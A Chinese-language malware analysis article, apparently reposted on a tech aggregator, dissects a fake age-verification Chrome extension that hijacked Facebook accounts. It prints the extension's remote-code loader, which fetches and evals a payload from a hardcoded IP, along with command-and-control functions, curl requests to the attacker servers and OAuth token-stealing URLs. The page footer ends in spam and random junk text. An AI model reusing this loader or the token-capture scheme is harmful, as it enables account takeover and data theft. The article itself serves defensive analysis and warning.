IT技術互動交流平臺

瀏覽器中的惡意軟件:你是如何被chrome擴展黑了的

作者:佚名  發布日期:2016-07-20 22:42:59


瀏覽器在我們的生活扮演一個越來越重要的角色。有了各類web應用程序后,我們把自己的私人數據放在Facebook、亞馬遜或GMail等在線服務中,這也要求這些在線服務保證我們的隱私安全,因此出現了雙因素認證等保護手段,但這仍然是一個薄弱的環節:一個惡意的瀏覽器擴展可以使所有的安全措施形同虛設。
似乎大部分人都不知道瀏覽器擴展的攻擊性有多強。它們仍然處于不受管制的范圍,因為目前并不存在防御擴展惡意軟件的安全措施——你的殺毒軟件根本不起作用。
在這篇文章中,我將會分享我發現并調查過的一個惡意軟件擴展,它曾使我的一個朋友受到感染。我想展示這個惡意軟件的功能,所以我將在這篇文章中發表所有提取出來的代碼。
 
發現
在我的Facebook上,我注意到一個朋友是經常為一些奇怪的、下流的鏈接點贊。我發現了一個模式: 總是同一個朋友在為相同類型的鏈接點贊。它們總是有將近900個喜歡,沒有評論,而鏈接后面的頁面大約有30個喜歡。

出于好奇,我決定去看看這是什么,所以我點擊了一個鏈接,而這是個巨大的錯誤。
我立刻看到一條消息,要我在查看內容之前先驗證一下年齡。
因為是這種性質的內容,驗證年齡看起來似乎也很合理。不合理的地方在于,進行這個驗證必須要先安裝Chrome擴展。

這個擴展是一個名為viralands.com的網站提供的。
快速搜索顯示,他們還另有9條明顯一模一樣的擴展。這些東西現在已經被移除,但在我看到它的時候,那些擴展總共擁有132265名用戶。
我決定先看看擴展的代碼,下面就是我發現的內容。
 

這個擴展清單十分可疑
可以從一個叫做manifest.json的擴展清單文件入手,這是一個元數據文件,里面包含擴展的一些信息,例如名稱、描述、版本號、權限等。
擴展請求了以下的權限:
{
         "permissions": [
                "storage",
                "",
                "tabs",
                "webNavigation",
                "alarms"
         ]
}
安裝擴展時,Chrome將會提出以下警告:
添加“敏感內容年齡驗證”?
它可以:
•讀取和改變你在訪問的網站上的所有數據。
看上去,這個擴展只會檢查你的年齡,但是如果我們繼續閱讀清單文件,我們發現以下內容:
{
             "background": {
                          "scripts": [
"scripts/query-string.js",
                                       "scripts/install.js",
                                       "background.js"
                          ],
                          "persistent": true
             },
             "content_security_policy": "script-src blob: filesystem: chrome-extension-resource: 'self' 'unsafe-eval'; object-src 'self'"
}
所以總的來說,它想要持續運行3個腳本(這意味著它們不能被暫停),這樣就能夠從所有的地方獲取數據、存儲,并評估存儲的代碼是否安全。
讓我們看看這三個腳本(background.js, query-string.js和install.js)。
 
年齡驗證是個幌子
background.js腳本很短,它只會做一件事:在安裝擴展時,它會打開一個彈出消息。
彈出來的是一個簡單的HTML表單,你可以在里面輸入你的生日并按“確認”。

但是那個年齡驗證頁面上運行的JavaScript尤其有趣:
document.querySelector('#submit').addEventListener('click', function() {
document.querySelector('#box').hidden = true;            document.querySelector('#loading').hidden = false;  setTimeout(function() {                         document.querySelector('#loading').hidden = true;                         document.querySelector('#done').hidden = false;            }, (randomIntFromInterval(0, 2) / 2 + 0.5) * 1000);});
是的,如果你點擊了“驗證”,就會顯示“加載…”,然后提示“完成”,年齡驗證完全是假的。
那么這背后隱藏了什么呢?這個擴展還另外運行了兩個腳本,即query-string.js和install.js
讓我們來看看,它實際上在做什么?
 
獲取遠程有效載荷
query-string.js腳本并不重要, 這只是NPMpackage的副本。
但是你永遠不會相信install.js會做些什么!第133行會使你驚訝。 programUrl = 'http://104.131.35.136:9999/jsnew.php?id=22';
這是一個外部服務器的硬編碼變量,用來獲取腳本。
提示:它從上面提到的服務器中獲取的腳本是一個惡意軟件負載。這個擴展需要下載后再安裝,因為如果它想通過Chrome Webstore的安全檢查,就不能附帶負載。
它會從服務器獲取一個腳本,然后將其存儲在localStorage并執行。我們可以看到,這發生在getProgram()函數中。
function getProgram(event) {
             var xhr = new XMLHttpRequest();
             var url = programUrl;
             var querySign = url.indexOf('?') === -1 ? '?' : '&';
            
             url += querySign + 'r=' + Date.now();
            
             xhr.open('GET', url, true);
             xhr.setRequestHeader('XYZ-Extension-Id', chrome.runtime.id);
             xhr.onload = function() {
                          var code = xhr.response;
                         
                          try {
                                       var fn = new window['Function'](code);
                                       console.log('Executing loaded code');
                                       fn(); // exit if error
            
                                       localStorage.setItem('localCode', code);
                          } catch (e) {
                                       console.error(e);
                          }
                         
                          xhr.send();

             }
}
我能夠用以下的cURL命令來模擬這樣的請求。
curl -o external.js --header "XYZ-Extension-Id: nogheblblcgkncmpggmikmcpnjdihgdd" http://104.131.35.136:9999/jsnew.php?id=22&r=1467883037000
我得到了惡意軟件的有效載荷,我叫它itexternal.js。這是一個相當長的文件,有1288行,它可以從外部服務器獲取指令。
兩個URL被定義在external.js的開頭:
var ACTIONS_URL = 'http://159.203.99.206/api/get/';
var STATUS_URL = 'http://159.203.99.206/api/status';
第一個URL用于從服務器獲取指令,第二個用于報告。這個獲取指令的模型叫做指揮和控制(簡稱C&C)。
我們會發現擴展是如何從C&C服務器獲取指令的,以及查看用getActions()函數定義的inexternal.js:
function getActions(uid) {
             var xhr = new XMLHttpRequest();
            
             xhr.open('GET', ACTIONS_URL + uid, true);
             xhr.responseType = 'json';
            
             xhr.onload = function() {
                          var data = xhr.response;
                          var actions = data && data.actions;
                         
                          if (Array.isArray(actions) && actions.length) {
                                       checkFBLogin(function(status) {
                                                    fbLoginStatus = status;
                                                    handleActions(actions);
                                       });
                          }
             };
            
             xhr.send();
}
這個uid變量是你的設備的唯一標識符,是由generateUID()生成的:
function generateUID() {
             var array = new Uint32Array(8);
             window.crypto.getRandomValues(array);
            
             return [].map.call(array, function(n) {
                          return n.toString(16)
             }).join('');
}
我運行了一次:
c38ae4ec1d2820bc9e2c03c0fe517585644576c988a03ae84af63b6d2bc9e7
如果你想得到完全屬于你的指令你需要創建自己的UID。為了向服務器模擬發送一個請求,我運行了一次:
curl -o actions.json http://159.203.99.206/api/get/c38ae4ec1d2820bc9e2c03c0fe517585644576c988a03ae84af63b6d2bc9e7
這將返回一個JSON文件,其中包含擴展將要采取的行動的列表。下面是我得到的指令:
{
             "actions": [
                          {

                                       "actionType": "ap",
                                       "data": {
                                                    "url": "https://www.facebook.com/dialog/oauth?redirect_uri=http%3A%2F%2Fwww.facebook.com%2Fconnect%2Flogin_success.html&scope=email%2Cpublish_actions%2Cuser_about_me%2Cuser_actions.books%2Cuser_actions.music%2Cuser_actions.news%2Cuser_actions.video%2Cuser_activities%2Cuser_birthday%2Cuser_education_history%2Cuser_events%2Cuser_games_activity%2Cuser_groups%2Cuser_hometown%2Cuser_interests%2Cuser_likes%2Cuser_location%2Cuser_notes%2Cuser_photos%2Cuser_questions%2Cuser_relationship_details%2Cuser_relationships%2Cuser_religion_politics%2Cuser_status%2Cuser_subscriptions%2Cuser_videos%2Cuser_website%2Cuser_work_history%2Cfriends_about_me%2Cfriends_actions.books%2Cfriends_actions.music%2Cfriends_actions.news%2Cfriends_actions.video%2Cfriends_activities%2Cfriends_birthday%2Cfriends_education_history%2Cfriends_events%2Cfriends_games_activity%2Cfriends_groups%2Cfriends_hometown%2Cfriends_interests%2Cfriends_likes%2Cfriends_location%2Cfriends_notes%2Cfriends_photos%2Cfriends_questions%2Cfriends_relationship_details%2Cfriends_relationships%2Cfriends_religion_politics%2Cfriends_status%2Cfriends_subscriptions%2Cfriends_videos%2Cfriends_website%2Cfriends_work_history%2Cads_management%2Ccreate_event%2Ccreate_note%2Cexport_stream%2Cfriends_online_presence%2Cmanage_friendlists%2Cmanage_notifications%2Cmanage_pages%2Cphoto_upload%2Cpublish_stream%2Cread_friendlists%2Cread_insights%2Cread_mailbox%2Cread_page_mailboxes%2Cread_requests%2Cread_stream%2Crsvp_event%2Cshare_item%2Csms%2Cstatus_update%2Cuser_online_presence%2Cvideo_upload%2Cxmpp_login&response_type=token&client_id=41158896424&_rdr",
                                                    "callback": "http://159.203.99.206/api/getToken"
                                       }
                          },
                          {
                                       "actionType": "ap",
                                       "data": {
                                                    "url": "https://www.facebook.com/dialog/oauth?redirect_uri=http%3A%2F%2Fwww.facebook.com%2Fconnect%2Flogin_success.html&scope=email%2Cpublish_actions&response_type=token&client_id=241284008322&_rdr",
                                                    "callback": "http://159.203.99.206/api/getToken2"
                                       }

                          },
                          {
                                       "actionType": "lk",
                                       "data": {
                                                    "id": "VVideosss"
                                       }
                          }
             ]
}
泄漏你的訪問令牌
前兩個行動包含了可以竊取你的訪問令牌的鏈接。如果你加載了這些鏈接,該擴展將捕獲你的訪問令牌,并將其發送到服務器。
有了你的Facebook的訪問令牌之后,惡意軟件運營商會訪問您的帳戶。他們可以登錄、發送和閱讀信息、發布狀態、鏈接、評論、文章…這就相當于你的登錄憑證被偷了。
 
喜歡的Facebook頁面
 
在我下載的指令中,還包括為一個叫做VVideosss的頁面點贊。
讓我們看看這個頁面:
 

68153喜歡,這真是一個受歡迎的頁面!但是受到感染的共有132265名用戶,這數字差得不多,是嗎?
這些頁面獲得的點贊似乎是從被感染的用戶那里得來的,這目前只是個推測。
 
訂閱YouTube頻道
我沒有得到任何要求訂閱YouTube頻道的指令,但是代碼中有一個函數就是干這個的。
function sendStatus(data) {
             chrome.storage.local.get('uid', function(storage) {
                          data.id = storage.uid;
                          data.extension_id = chrome.runtime.id;
                          data.fbLoginStatus = fbLoginStatus;
                         
                          var xhr = new XMLHttpRequest();
                         
                          xhr.open('POST', STATUS_URL, true);
                          xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
                          xhr.send(queryString.stringify(data));
                         
                          console.log('Status data has been sent', data);
             });
}
將報告發送給服務器
擴展也可以通過以下功能向C&C服務器發送狀態報告,:
它向服務器發送三項內容:
1.UID, 用來識別受感染的機器的ID字符串。
2.擴展ID,一個與擴展對應的字符串 (因為Chrome Webstore有多個可用的副本擴展)。

3.受感染的機器目前是否進入了Facebook。
惡意軟件運營商將使用此信息來判斷確切的活動規模,并將其作為在黑市上售賣時的價值衡量。
 
更多的潛在的內容
擴展總是在尋找新版本的負載。因為惡意軟件可以“讀取和改變你在網站上的所有數據”,其運營商可以了解到你的瀏覽器中發生的每一件事。
他們可以閱讀你的電子郵件,偷走你所有的登錄憑證、你的比特幣、你的名字,甚至是你的信用卡信息。
 
我們怎樣才能防止這種情況的發生?
我認為,每個人都應該遠離所有的瀏覽器擴展,雖然它們非常有用。
谷歌可以開始標注出值得信賴的擴展,可以通過手動驗證擴展或審查開發商的聲譽來達到目的。
開源也是一個好方法:如果一個擴展是開源的,那么就可以發一個許可徽章。
但是當前的狀態是,Chrome Webstore的運行效率并不高。
你可以報告一個擴展是惡意的,但在至少有132000用戶上當之后,這些擴展才被撤下。
 

Tag標簽: 惡意   瀏覽器   軟件  
  • 專題推薦

About IT165 - 廣告服務 - 隱私聲明 - 版權申明 - 免責條款 - 網站地圖 - 網友投稿 - 聯系方式
本站內容來自于互聯網,僅供用于網絡技術學習,學習中請遵循相關法律法規
湖北快三走势图 wu8| rto| u8p| hvi| ehu| 6lh| dq7| iez| m7u| zkm| 7po| jf7| vcy| u7p| eac| 7ru| bj6| ny6| kjm| h6c| cox| 6sg| ok6| dwo| w6c| tpy| 77w| ccu| 5wo| cy5| ry5| ggu| h5k| dpy| 5ws| fc6| xeh| e6o| dzc| 6py| hd4| ahv| a4z| k4q| qmk| 5np| ep5| ieh| i5d| xia| 5na| oe3| yzx| y3b| bmk| w4f| e4r| qbt| 4mo| og4| yob| b4h| wcu| 4cq| ll3| cci| g3y| uqz| 3sg| vjl| cy3| kka| o3z| yjh| 4km| xt2| xbe| i2w| eeg| 2xo| fb2| doy| eme| kv3| zlv| r3q| rnq| 3of| hh1| kgy|